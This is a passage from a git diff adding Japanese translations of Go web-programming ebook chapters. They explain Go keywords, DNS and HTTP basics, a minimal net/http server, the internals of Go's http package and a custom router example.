事前のgoroutineの実行権限をジェネレートします。ディスパッチャが他の待機中のタスクの実行を予定し、次のある時点でこの位置から実行を復元します。 + +- NumCPU + + CPUのコア数を返します。 + +- NumGoroutine + + 現在実行している行と待ちタスクの総数を返します。 + +- GOMAXPROCS + + 実行できるCPUコア数の最大値を設定し、前のコア数を返します。 + + + +## links + * [目次]() + * 前へ: [interface](<02.6.md>) + * 次へ: [概要](<02.8.md>) diff --git a/ja/ebook/02.8.md b/ja/ebook/02.8.md new file mode 100644 index 00000000..aa48a728 --- /dev/null +++ b/ja/ebook/02.8.md @@ -0,0 +1,31 @@ +# 2.8 概要 + +この章では主にGo言語のいくつかの文法をご紹介しました。文法を通してGoがいかに簡単かご覧いただけたかと思います。たった25個のキーワードです。もう一度これらキーワードが何に使われるのか見てみることにしましょう。 + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +- varとconstは2.2のGo言語の基礎に出てくる変数と定数の宣言を参考にしてください。 +- packageとimportにはすでに少し触れました。 +- func は関数とメソッドの定義に用いられます。 +- return は関数から返るために用いられます。 +- defer はデストラクタのようなものです。 +- go はマルチスレッドに用いられます。 +- select は異なる型の通信を選択するために用いられます。 +- interface はインターフェースを定義するために用いられます。2.6章をご参考ください。 +- struct は抽象データ型の定義に用いられます。2.5章をご参考ください。 +- break、case、continue、for、fallthrough、else、if、switch、goto、defaultは2.3のフロー紹介をご参考ください。 +- chanはchannel通信に用いられます。 +- typeはカスタム定義型の宣言に用いられます。 +- mapはmap型のデータの宣言に用いられます。 +- rangeはslice、map、channelデータの読み込みに用いられます。 + +この25個のキーワードを覚えれば、Goは既に殆ど学び終わったも同然です。 + +## links + * [目次]() + * 前へ: [マルチスレッド](<02.7.md>) + * 次へ: [Webの基礎](<03.0.md>) diff --git a/ja/ebook/03.0.md b/ja/ebook/03.0.md new file mode 100644 index 00000000..bf0afd5b --- /dev/null +++ b/ja/ebook/03.0.md @@ -0,0 +1,11 @@ +# 3 Webの基礎 + +Webのプログラミングの基礎を勉強することはあなたにとってまさにこの本を読む理由でしょう。事実、どのようにGoを使ってWebアプリケーションをプログラムするかはこの本の目的でもあります。前回までで、Goは既に成熟したHttp処理パッケージを持つことをご紹介しました。これによってどのような事情の動的なWebプログラミングも簡単に作成できます。これ以降の章でご紹介する内容はどれもWebプログラミングの範疇です。この章ではWebに関する概念とGo言語がいかにWebプログラムを実行するかに集中して討論します。 + +## 目次 +![](images/navi3.png?raw=true) + +## links + * [目次]() + * 前へ: [第二章概要](<02.8.md>) + * 次へ: [webでの作業方法](<03.1.md>) diff --git a/ja/ebook/03.1.md b/ja/ebook/03.1.md new file mode 100644 index 00000000..6d4c9b68 --- /dev/null +++ b/ja/ebook/03.1.md @@ -0,0 +1,159 @@ +# 3.1 Webでの作業方法 + +普段ホームページを閲覧する際、ブラウザを開くと思います。アドレスを入力してエンターキーを押すと、あなたが見たいコンテンツが表示されます。この見た目には簡単なユーザの行動には一体何が隠されているのでしょうか? + +普通のネットワーク上の操作に対して、システムは実はこのように行なっています:ブラウザそのものはクライアントです。URLを入力する際まずブラウザはDNSサーバにアクセスします。DNSを通してドメインと対応するIPを取得し、IPアドレスからIPに対応したサーバを探しだした後、TCPコネクションの設立を要求します。ブラウザがHTTP Request(リクエスト)パケットを送信し終わると、サーバはリクエストパケットを受け取ってリクエストパケットを処理しはじめます。サーバは自分のサービスをコールし、HTTP Response(レスポンス)パケットを返します。クライアントがサーバからのレスポンスを受け取ると、このレスポンスパケットのbodyを読み出します。すべての内容を受け取ると、このサーバとのTCP接続を切断します。 + +![](images/3.1.web2.png?raw=true) + +図3.1 ユーザがWebサーバにアクセスする過程 + +WebサーバはHTTPサーバとも呼ばれます。HTTPプロトコルを通じてクライアントと通信を行います。このクライアントは普通はWebブラウザを指します(実はモバイルクライアントでも内部ではブラウザによって実現されています。) + +Webサーバの動作原理は簡単に説明できます: + +- クライアントがTCP/IPプロトコルによってサーバまでTCP接続を設立します。 +- クライアントはサーバに対してHTTPプロトコルのリクエストパケットを送信し、サーバのリソースドキュメントを要求します。 +- サーバはクライアントに対してHTTPプロトコルの応答パケットを送信し、もし要求されたリソースに動的な言語によるコンテンツが含まれている場合、サーバが動的言語のインタープリターエンジンに"動的な内容"の処理をコールさせます。処理によって得られたデータをクライアントに返します。 +- クライアントとサーバが切断されます。クライアントはHTMLドキュメントを解釈し、クライアントの画面上に図形として結果を表示します。 + +簡単なHTTPタスクはこのように実現されます。見た目にはとても複雑ですが、原理はとても簡単です。気をつけなければならないのは、クライアントとサーバの間の通信は常に接続されているわけではありません。サーバが応答を送信した後クライアントと接続が切断され、次のリクエストを待ち受けます。 + +## URLとDNS解決 +ホームページの閲覧は常にURLの訪問で行われます。ではURLとは一体どういうものなのでしょうか? + +URL(Uniform Resource Locator)は"統一資源位置指定子"の英語の短縮です。ネットワーク上のリソースを表現しています。基本的なシンタックスは以下のとおりです。 + + scheme://host[:port#]/path/.../[?query-string][#anchor] + scheme 低レイヤーで使用されるプロトコルを指定します。(例えば:http, https, ftp) + host HTTPサーバのIPアドレスまたはドメイン + port# HTTPサーバのデフォルトのポート番号は80です。この場合ポート番号は省略することができます。もし別のポートを使用する場合は指定しなければなりません。例えば http://www.cnblogs.com:8080/ + path リソースまでのパス + query-string httpサーバへ送るデータ + anchor アンカー + + DNS(Domain Name System)は"ドメインシステム"の英文の省略です。これは組織の木構造の計算機とネットワークサービスの命名システムです。これはTCP/IPネットワークで使用されます。ホスト名またはドメインを実際のIPアドレスに変換する作業を行う役目を担っています。DNSはこのような翻訳家です。この基本的な動作原理は下の図に示しているとおりです。 + +![](images/3.1.dns_hierachy.png?raw=true) + +図3.2 DNSの動作原理 + +より詳細なDNS解決のプロセスは下のようなものです。このプロセスは我々がDNSの作業モードを理解するのに助けとなります。 + +1. ブラウザでwww.qq.comドメインを入力します。オペレーティングシステムはまず自分のローカルのhostsファイルにこのアドレスがないか検査します。もしあれば、このIPアドレスの設定が適用されます。ドメイン解決終了。 + +2. もしhostsにこのドメインの設定がなければ、ローカルのDNSリゾルバのバッファを探します。もしあれば、これを返します。ドメイン解決終了。 + +3. もしhostsとローカルのDNSリゾルバのバッファのどちらにも目的のドメインがなかった場合、まずTCP/IPのオプションで設定されているプライマリDNSサーバを探します。ここではこれをローカルDNSサーバと呼びましょう。このサーバが要求を受けた時、もし要求したドメイン名がローカルで設定されたリソースの中に含まれている場合、解決の結果をクライアントに返します。ドメイン解決終了。これは権威ある解決です。 + +4. もし要求したドメイン名がローカルDNSサーバのゾーンでは解決できなかったものの、このサーバがこのURLをバッファリングしていた場合このIPアドレスが適用されます。ドメイン名解決終了。これは権威ある解決ではありません。 + +5. もしローカルDNSサーバがそのゾーンファイルとバッファリングのどちらも有効でなかった場合、ローカルDNSサーバの設定に従って(リピータが設定されているか)検査を行います。もし転送モードが使用されていなければローカルDNSはリクエストを"ルートDNSサーバ"に送ります。"ルートDNSサーバ"はリクエストを受け取った後このドメイン名(.com)が誰によって権限を受け管理されているか判断し、このトップレベルドメインの権威サーバのIPを返します。ローカルDNSサーバがIP情報を受け取った後、.comドメインを担当するこのサーバと接続を行います。.comドメインを担当するサーバがリクエストを受け取った後、もし自分で名前解決できなければ、.comドメインを管理するもう一つ下のレイヤーのDNSサーバのアドレス(qq.com)をローカルDNSサーバに送ります。ローカルDNSサーバがこのアドレスを受け取った後、qq.comドメインのサーバを探し出し、www.qq.comのホストが見つかるまで上の動作を繰り返します。 + +6. もし転送モードを使用していれば、このDNSサーバはリクエストをひとつ上のレイヤーのDNSサーバに転送します。このサーバが名前解決を行い、名前が解決できなかった場合は、ルートDNSを探すか、もう一つ上のレイヤーのにリクエストを転送します。またはルートが提示されます。最後に結果をローカルDNSサーバに返し、このDNSサーバはクライアントに返します。 + +![](images/3.1.dns_inquery.png?raw=true) + +図3.3 DNS解決の全体のプロセス + +> いわゆる`再帰検索プロセス`は"検索者"の交代を意味します。また、`反復する検索プロセス`では"検索者"は不変です。 +> +> 例をあげて説明しましょう。あなたは一緒に法律の授業を受けている女の子の電話番号を知りたいとします。あなたはこっそり彼女の写真も撮っています。寝室にもどって、正義感の強いアニキたちにそのことを伝えます。このアニキたちは異議を唱えることもなく、胸を叩いてあなたにこう言います。「急ぐ必要はない。私があなたに替わって調べてあげましょう」(この時一時再帰検索が完了しています。すなわち、検索者の役割が変更されました。)。その後彼は写真を携え学部の4年生の先輩のところに聞きにいきます。「この女の子はxx学部なんですけど・・・」その後このアニキは矢継ぎ早にxx学部のオフィス主任の助手を務めているクラスメートに聞きます。このクラスメートはxx学部のyyゼミであると言います。またこの正義感の強いアニキたちはxx学部のyyゼミのゼミ長のところにいき、この女の子の電話番号をゲットします。(ここまでで何回かの連続検索が完了しました。すなわち、検索者の役は変わっていませんが、聞きに行く対象を反復して取り替えています。)最後に彼は番号をあなたの手に渡すことで全体の検索が完了します。 + +上のステップを通して、IPアドレスを最後に取得します。つまりブラウザが最後にリクエストを送る時はIPにもとづいて、サーバと情報のやりとりをするのです。 + +## HTTPプロトコル詳細 + +HTTPプロトコルはWeb作業の確信です。そのためWebの作業方法をくまなく理解するためには、HTTPがいったいどのような作業を行なっているのか深く理解する必要があります。 + +HTTPはWebサーバにブラウザ(クライアント)とInternetを通してデータをやり取りさせるプロトコルです。これはTCPプロトコルの上で成立しますので、一般的にはTCPの80番ポートが採用されます。これはリクエストとレスポンスのプロトコルです--クライアントはリクエストを送信しサーバがこのリクエストに対してレスポンスを行います。HTTPでは、クライアントは常に接続を行いHTTPリクエストを送信することでタスクをこなします。サーバは主導的にクライアントと接続することはできません。また、クライアントに対してコールバック接続を送信することもできません。クライアントとサーバは事前に接続を中断することができます。例えば、ブラウザでファイルをダウンロードする際、"停止"ボタンをクリックすることでファイルのダウンロードを中断し、サーバとのHTTP接続を閉じることができます。 + +HTTPプロトコルはステートレスです。同じクライアントの前のリクエストと今回のリクエストの間にはなんの対応関係もありません。HTTPサーバからすれば、この2つのリクエストが同じクライアントから発せられたものかすらも知りません。この問題を解決するため、WebプログラムではCookie機構を導入することで、接続の持続可能状態を維持しています。 + +>HTTPプロトコルはTCPプロトコルの上で確立しますので、TCPアタックはHTTPの通信に同じように影響を与えます。例えばよく見かける攻撃として:SYN Floodは現在最も流行したDoS(サービス不能攻撃)とDdoS(分散型サービス不能攻撃)などがあります。これはTCPプロトコルの欠陥を利用して大量に偽造されたTCP接続要求を送信するのです。これにより攻撃された側はリソースが枯渇(CPUの高負荷やメモリ不足)する攻撃です。 + +### HTTPリクエストパケット(ブラウザ情報) + +まずRequestパケットの構造を見てみることにしましょう。Requestパケットは3つの部分にわけられます。第一部分はRequest line(リクエスト行)。第二部分はRequest header(リクエストヘッダ)、第三部分はbody(ボディ)と呼ばれます。headerとbodyの間には空行があり、リクエストパケットの例は以下のようなものです。 + + GET /domains/example/ HTTP/1.1 //リクエスト業:リクエスト方法 リクエストRUI HTTPプロトコル/プロトコルバージョン + Host:www.iana.org //サーバのホスト名 + User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //ブラウザ情報 + Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //クライアントが受け取れるmime + Accept-Encoding:gzip,deflate,sdch //ストリーム圧縮をサポートするか否か + Accept-Charset:UTF-8,*;q=0.5 //クライアントの文字コードセット + //空行、リクエストヘッダとボディを分けるために使われます。 + //ボディ、リソースへのリクエストのオプション、例えばPOSTが渡すオプション + +fiddlerパケットキャプチャを通して下のようなリクエスト情報を見ることができます。 + +![](images/3.1.http.png?raw=true) + +図3.4 fiddlerがキャプチャしたGET情報 + +![](images/3.1.httpPOST.png?raw=true) + +図3.5 fiddlerがキャプチャしたPOST情報 + +**GETリクエストのボディが空であることがわかります。POSTリクエストにはボディがあります**。 + +HTTPプロトコルはサーバに対して交互にリクエストを送る方法が定義されています。基本は四種類。GET,POST,PUT,DELETEです。ひとつのURLアドレスはひとつのネットワーク上のリソースを描写しています。またHTTPの中のGET, POST, PUT, DELETEはこのリソースの検索、修正、増加、削除の4つの操作に対応しています。よく見かけるのはGETとPOSTです。GETは一般的にリソースの情報を取得/検索するために用いられ、POSTはリソース情報を更新するために用いられます。 +GETとPOSTの区別を見てみましょう。 +1. GETが入力するデータはURLの後に置かれます。?によってURLと渡すデータを分割します。オプションの間は&で繋ぎます。例えばEditPosts.aspx?name=test1&id=12345。POSTメソッドは入力するデータをHTTPパケットのBodyの中に置きます。 +2. GETが入力するデータの大きさには制限があります。(ブラウザのURLに対する長に制限があるためです。)またPOSTメソッドで入力するデータには制限がありません。 +3. GETメソッドで入力されたデータはセキュリティの問題を引き起こします。例えばログイン画面があったとして、GETメソッドでデータを入力した場合、ユーザ名とパスワードはURL上にあらわれてしまうことになります。もしページがバッファリングされていたり他の人によっがこのマシンにアクセスすることができれば、ヒストリログからこのユーザのアカウントとパスワードを取得することができてしまいます。 + +### HTTPレスポンスパケット(サーバ情報) +HTTPのresponseパケットを見てみることにしましょう。構造は以下のとおりです: + + HTTP/1.1 200 OK //ステータス行 + Server: nginx/1.0.8 //サーバが使用するWEBソフトウェアの名称及びバージョン + Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //送信時刻 + Content-Type: text/html //サーバが送信するデータの型 + Transfer-Encoding: chunked //送信するHTTPパケットが分解されることを表しています。 + Connection: keep-alive //コネクション状態の保持 + Content-Length: 90 //ボディの内容の長さ + //空行 ヘッダとボディを分けるために使われます。 + ホームページの改良では、HTTPのリクエスト回数を減らすことがあります。つまり、なるべく多くのcssとjsリソースを同じところに集めるのです。目的は出来る限りホームページの静的リソースのリクエスト回数を減少させる事にあります。ホームページの表示速度を上げると同時にサーバのバッファリングを減らす事ができます。 + +## links + * [目次]() + * 前へ: [Webの基礎](<03.0.md>) + * 次へ: [GOでwebサーバを建てる](<03.2.md>) diff --git a/ja/ebook/03.2.md b/ja/ebook/03.2.md new file mode 100644 index 00000000..a8e8565c --- /dev/null +++ b/ja/ebook/03.2.md @@ -0,0 +1,66 @@ +# 3.2 GOで簡単なwebサーバを立てる + +前の節でWebはHTTPプロトコルに基づいたサービスであるとご紹介しました。Go言語では完全なnet/httpパッケージを提供しています。httpパッケージを通して実行できるwebサービスを非常に簡単に立ち上げる事ができます。同時にこのパッケージを使用することで、簡単にwebのルーティング、静的なファイル、テンプレート、cookie等のデータに対して設定と操作を行うことができます。 + +## httpパッケージでwebサーバを立てる + + package main + + import ( + "fmt" + "net/http" + "strings" + "log" + ) + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //オプションを解析します。デフォルトでは解析しません。 + fmt.Println(r.Form) //このデータはサーバのプリント情報に出力されます。 + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") //ここでwに入るものがクライアントに出力されます。 + } + + func main() { + http.HandleFunc("/", sayhelloName) //アクセスのルーティングを設定します。 + err := http.ListenAndServe(":9090", nil) //監視するポートを設定します。 + if err != nil { + log.Fatal("ListenAndServe: ", err) + } + } + +上のコードはbuildした後、web.exeを実行した際、9090ポートでhttpリンクリクエストを監視します。 + +ブラウザで`http://localhost:9090`を入力してください。 + +ブラウザで`Hello astaxie!`と出力されたのが見えたかと思います。 + +アドレスを変えて試してみましょう:`http://localhost:9090/?url_long=111&url_long=222` + +ブラウザで出力されたものは何でしょうか。サーバは何と出力していますか? + +サーバで出力される情報は以下の通りです: + +![](images/3.2.goweb.png?raw=true) + +図3.8 ユーザがWebにアクセスしてサーバが出力する情報 + +上のコードでwebサーバを書くためにはhttpパッケージの2つの関数を呼ぶだけで良いことがわかります。 + +>もしあなたが以前PHPプログラマであれば。こう問うかもしれません。我々のnginx、apacheサーバは必要ないのですかと?なぜならこいつは直接tcpポートを関ししますので、nginxがsやることをやってくれます。またsayhelloNameは実は我々が書いたロジック関数ですので、phpの中のコントローラ(controller)関数に近いものです。 + +>もしあなたがpythonプログラマであったのなら、tornadoを聞いたことがあると思います。このコードはそれとよく似ていませんか?ええ、その通りです。goはpythonのような動的な言語によく似た特性を持っています。webアプリケーションを書くにはとても便利です。 + +>もしあなたがrubyプログラマであったのなら、RORの/script/serverを起動したのと少し似ている事に気づいたかもしれません。 + +Goを通じて簡単な数行のコードでwebサーバを立ち上げることができました。さらにこのWebサーバの内部ではマルチスレッドの特性をサポートしています。続く2つの節でgoが以下にWebのマルチスレッドを実現しているのか細かくご紹介します。 + +## links + * [目次]() + * 前へ: [Webの作業方法](<03.1.md>) + * 次へ: [Goはどのようにしてweb作業を行うか](<03.3.md>) diff --git a/ja/ebook/03.3.md b/ja/ebook/03.3.md new file mode 100644 index 00000000..5bbcc423 --- /dev/null +++ b/ja/ebook/03.3.md @@ -0,0 +1,87 @@ +# 3.3 GoはどのようにしてWeb作業を行うか +前の節でどのようにGoを通じてWebサービスを立てるかご紹介しました。net/httpパッケージを簡単に応用して便利に立てることができたかと思います。では、Goは低レイヤーで一体何を行なっているのでしょうか?万物は姿を変えてもその元は同じであります。GoのWebサービス作業も第一章でご紹介したWebの作業方法に関係しています。 + +## webの作業方法のいくつかの概念 + +以下はどれもサーバの概念のいくつかです + +Request:ユーザが要求するデータ。ユーザのリクエスト情報を解析します。post、get、cookie、url等の情報を含みます。 + +Response:サーバがクライアントにデータをフィードバックする必要があります。 + +Conn:ユーザの毎回のリクエストリンクです。 + +Handler:リクエストを処理し、返すデータを生成する処理ロジック。 + +## httpパッケージが実行する機能を分析する + +下の図はGoが実現するWebサービスの作業モードのプロセス図です + +![](images/3.3.http.png?raw=true) + +図3.9 httpパッケージの実行フロー + +1. Listen Socketを作成し、指定したポートを関しします。クライアントのリクエストを待ちます。 + +2. Listen Socketはクライアントのリクエストを受け付けます。Client Socketを得ると、Client Socketを通じてクライアントと通信を行います。  + +3. クライアントのリクエストを処理します。まず、Client SocketからHTTPリクエストのプロトコルヘッダを読み取り、もしPOSTメソッドであれば、クライアントが入力するデータをさらに読み取るかもしれません。その後対応するhandlerがリクエストを処理します。handlerがクライアントの要求するデータを準備し終えたら、Client Socketを通じてクライアントに書き出します。 + +この全体のプロセスでは3つの問題についてだけ理解しておけば構いません。これはまたGoがいかにしてWebを実行するのかということを知るという意味です。 + +- どのようにポートを監視するか? +- クライアントのリクエストをどのように受け付けるか? +- handlerにどのように受け渡すか? + +前の節のコードではGoは関数`ListenAndServe`を通してこれらの事を処理していました。ここでは実はこのように処理しています:serverオブジェクトを初期化します。その後`net.Listen("tcp", addr)`をコールします。つまり、低レイヤでTCPプロトコルを用いてサービスを立ち上げます。その後我々が設定したポートを監視します。 + +下のコードはGoのhttpパッケージのソースコードから引用したものです。下のコードで全体のHTTP処理プロセスを見ることができます。 + + func (srv *Server) Serve(l net.Listener) error { + defer l.Close() + var tempDelay time.Duration // how long to sleep on accept failure + for { + rw, e := l.Accept() + if e != nil { + if ne, ok := e.(net.Error); ok && ne.Temporary() { + if tempDelay == 0 { + tempDelay = 5 * time.Millisecond + } else { + tempDelay *= 2 + } + if max := 1 * time.Second; tempDelay > max { + tempDelay = max + } + log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) + time.Sleep(tempDelay) + continue + } + return e + } + tempDelay = 0 + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + } + } + +監視した後どのようにしてクライアントのリクエストを受け取るのでしょうか?上のコードではポートの監視を実行後、`srv.Serve(net.Listener)`関数をコールしています。この関数はクライアントのリクエスト情報を処理しています。この関数では`for{}`が置かれており、まずListenerを通じてリクエストを受け取った後、Connを作成します。最後に単独のgoroutineを開きます。このリクエストのデータを引数としてこのconnに渡します。:`go c.serve()`。これはマルチスレッドを行なっています。ユーザが行うリクエストはすべて真新しいgoroutineの上で行われ、互いに影響しません。 + +ではいかにして具体的に目的の関数でリクエストを処理するように振り分けるのでしょうか?connはまずrequestを解析します:`c.readRequest()`、その後目的のhandlerを取得します:`handler := c.server.Handler`、つまり、我々がさきほど`ListenAndServe`をコールした時、その2つ目の引数です。前の例でnilを渡したのですが、これは空ということです。デフォルトで`handler = DefaultServeMux`を取得します。この変数は一体何に使われるのでしょうか?そうです。この変数はルータです。これはマッチするurlを対応するhandler関数にリダイレクトするために用いられます。我々はこれを設定したでしょうか?ええ。我々がコールしたコードのいの一番で`http.HandleFunc("/", sayhelloName)`をコールしたじゃないですか。これは`/`をリクエストするルートのルールを登録します。urlが"/"をリクエストした場合、ルートは関数sayhelloNameにリダイレクトします。DefaultServeMuxはServeHTTPメソッドをコールします。このメソッド内では実はsayhelloName本体をコールしています。最後にresponseの情報を入力することで、クライアントにフィードバックを返します。 + + +全体のフローの詳細は以下の図の通りです: + +![](images/3.3.illustrator.png?raw=true) + +図3.10 http接続の処理フロー + +ここに来て我々は3つの問題に対して全て解答を得ました。Goが如何にWebを走らせるか、すでに基本的なことは理解されたのではないでしょうか? + + +## links + * [目次]() + * 前へ: [GOで簡単なwebサービスを立ち上げる](<03.2.md>) + * 次へ: [Goのhttpパッケージ詳細](<03.4.md>) diff --git a/ja/ebook/03.4.md b/ja/ebook/03.4.md new file mode 100644 index 00000000..06da10c8 --- /dev/null +++ b/ja/ebook/03.4.md @@ -0,0 +1,181 @@ +# 3.4 Goのhttpパッケージ詳細 +前の節でGoが如何にWebの作業モードを実現するかフローをご紹介しました。この節では、httpパッケージを詳しく解剖していきます。これはどのように全体のプロセスを実現しているのでしょうか。 + +Goのhttpには2つのコアとなる機能があります:Conn、ServeMux + +## Connのgoroutine +我々が普段書くhttpサーバとは異なり、Goはマルチスレッドと高い性能を実現するため、goroutinesを使ってConnのイベント読み書きを処理します。これによって各リクエストは独立性を保持することができます。互いにブロックせず、効率よくネットワークイベントにレスポンスすることができます。これがGoに高い効率を保証します。 + +Goがクライアントのリクエストを待ち受けるには以下のように書きます: + + c, err := srv.newConn(rw) + if err != nil { + continue + } + go c.serve() + +クライアントの各リクエストはどれもConnを一つ作成しているのがわかるかと思います。このConnには今回のリクエストの情報が保存されています。これは目的のhandlerに渡され、このhandlerで目的のhandler情報を読み取ることができます。このように各リクエストの独立性を保証します。 + +## ServeMuxのカスタム定義 +前の節でconn.serverについてご説明した際、拾は内部ではhttpパッケージのデフォルトのルートをコールしていました。ルータを通して今回のリクエストのデータをバックエンドの処理関数に渡します。ではこのルータはどのように実現されているのでしょうか? + +構造は以下のとおりです: + + type ServeMux struct { + mu sync.RWMutex //ミューテックス、リクエストがマルチスレッド処理に及んだことでミューテックス機構が必要になります。 + m map[string]muxEntry // ルーティングルール、一つのstringがひとつのmuxエンティティに対応します。ここではstringは登録されるルーティングを表現しています。 + hosts bool // 任意のルールにhost情報が含まれているか + } + +以下でmuxEntryを見てみましょう + + type muxEntry struct { + explicit bool // 精確にマッチするか否か + h Handler // このルーティング式はどのhandlerに対応するか + pattern string //マッチング文字列 + } + +次にHandlerの定義を見てみましょう。 + + type Handler interface { + ServeHTTP(ResponseWriter, *Request) // ルーティング実現器 + } + +Handlerはインターフェースですが、前の節の中で`sayhelloName`関数が特にServerHTTPというインターフェースを実装してはいませんでした。どうして追加できるのでしょうか?もともとhttpパッケージの中では`HandlerFunc`という型を定義しています。この型はデフォルトでServerHTTPインターフェースを実装しています。つまり、HandlerFunc(f)をコールして強制的にfをHandlerFunc型に型変換しているのです。このようにしてfはServerHTTPメソッドを持つことになります。 + + type HandlerFunc func(ResponseWriter, *Request) + + // ServeHTTP calls f(w, r). + func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { + f(w, r) + } + +ルータでは対応するルーティングルールを保存した後、具体的にはどのようにリクエストを振り分けているのでしょうか?以下のコードをご覧ください。デフォルトのルータは`ServerHTTP`を実装します: + + func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) { + if r.RequestURI == "*" { + w.Header().Set("Connection", "close") + w.WriteHeader(StatusBadRequest) + return + } + h, _ := mux.Handler(r) + h.ServeHTTP(w, r) + } + +上に示す通りルータはリクエストを受け取った後、`*`であれば接続を切断し、そうでなければ`mux.handler(r).ServerHTTP(w, r)`をコールして対応する設定された処理Handlerを返し、`h.ServeHTTP(w, r)`を実行します。 + +つまり、目的のルーティングのhandlerのServerHTTPインターフェースへのコールです。ではmux.Handler(r)はどのように処理するのでしょうか? + + func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) { + if r.Method != "CONNECT" { + if p := cleanPath(r.URL.Path); p != r.URL.Path { + _, pattern = mux.handler(r.Host, p) + return RedirectHandler(p, StatusMovedPermanently), pattern + } + } + return mux.handler(r.Host, r.URL.Path) + } + + func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) { + mux.mu.RLock() + defer mux.mu.RUnlock() + + // Host-specific pattern takes precedence over generic ones + if mux.hosts { + h, pattern = mux.match(host + path) + } + if h == nil { + h, pattern = mux.match(path) + } + if h == nil { + h, pattern = NotFoundHandler(), "" + } + return + } + +もともとこれはユーザのリクエストしたURLとルータの中に保存されているmapのマッチングに従って、このhandlerのServHTTPインターフェースをコールすることで目的の関数を実行することができます。 + +上の紹介を通じて、ルーティングの全体プロセスを理解しました。これはHandlerインターフェースです。つまり外部のルータはHandlerインターフェースを実装するだけで良く、自分自身で実装したルータのServHTTPの中でカスタムに定義されたルータ機能を実現することができます。 + +下のコードを通して、自分自身で簡単なルータを実装してみます。 + + package main + + import ( + "fmt" + "net/http" + ) + + type MyMux struct { + } + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return + } + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") + } + + func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) + } + +## Goのコードの実行プロセス + +httpパッケージへの分析を通して、全体のコードの実行プロセスを整理してみましょう。 + +- まずHttp.HandleFuncをコールします。 + + 順序にしたがっていくつかの事を行います: + + 1 DefaultServerMuxのHandlerFuncをコールする。 + + 2 DefaultServerMuxのHandleをコールする。 + + 3 DefaultServerMuxのmap[string]muxEntryで目的のhandlerとルーティングルールを追加する。 + +- 次にhttp.ListenAndServe(":9090", nil)をコールする。 + + 順序にしたがっていくつかの事を行う: + + 1 Serverのエンティティ化 + + 2 ServerのListenAndServe()をコールする + + 3 net.Listen("tcp", addr)をコールし、ポートを監視する + + 4 forループを起動し、ループの中でリクエストをAcceptする + + 5 各リクエストに対してConnを一つエンティティ化し、このリクエストに対しgoroutineを一つ開いてgo c.serve()のサービスを行う。 + + 6 各リクエストの内容を読み込むw, err := c.readRequest() + + 7 handlerが空でないか判断する。もしhandlerが設定されていなければ(この例ではhandlerは設定していません)、handlerはDefaultServeMuxに設定されます。 + + 8 handlerのServeHttpをコールする + + 9 この例の中では、この後DefaultServerMux.ServeHttpの中に入ります + + 10 requestに従ってhandlerを選択し、このhandlerのServeHTTPに入ります + + mux.handler(r).ServeHTTP(w, r) + + 11 handlerを選択します: + + A ルータがこのrequestを満足したか判断します(ループによってServerMuxのmuxEntryを走査します。) + + B もしルーティングされれば、このルーティングhandlerのServeHttpをコールします。 + + C ルーティングされなければ、NotFoundHandlerのServeHttpをコールします + +## links + * [目次]() + * 前へ: [Goはどのようにしてweb作業を行うか](<03.3.md>) + * 次へ: [概要](<03.5.md>) diff --git a/ja/ebook/03.5.md b/ja/ebook/03.5.md new file mode 100644 index 00000000..94b84f82 --- /dev/null +++ b/ja/ebook/03.5.md @@ -0,0 +1,9 @@ +# 3.5 概要 +この章ではHTTPプロトコル、DNS名前解決のプロセス、どのようにしてgoで簡単なweb serverを実装するかご紹介しました。net/httpパッケージのソースコードに触れるうちにこのserverを実装する秘密についてお分かりいただけたかと思います。 + +この章の学習を通じて、GoによるWeb開発の初歩をご理解いただければ幸いです。我々はまた対応するコードを見ることでGoでWebアプリケーションを開発することがとても便利でまた相当柔軟であると分かりました。 + +## links + * [目次]() + * 前へ: [Goのhttpパッケージ詳細](<03.4.md>) + * 次へ: [フォーム](<04.0.md>) diff --git a/ja/ebook/04.0.md b/ja/ebook/04.0.md new file mode 100644 index 00000000..9a887076 --- /dev/null +++ b/ja/ebook/04.0.md @@ -0,0 +1,25 @@ +# 4 フォーム + +フォームは我々が普段Webアプリケーションを書く時によく使うツールです。フォームを通して便利にユーザにサーバとデータをやり取りさせることができます。以前にWeb開発をしたことのあるユーザにとってはフォームはとてもお馴染みのものです。しかしC/C++のプログラマからすると、少々ばかり門外漢かもしれません。フォームとは一体何でしょうか? + +フォームは表の要素を含むエリアです。フォームの要素はユーザがフォームの中で(例えば、テキストフィールド、コンボボックス、チェックボックス、セレクトボックス等です。)情報を入力する要素です。フォームはフォームタグ(\)で定義します。 + +
+ ... + input 要素 + ... +
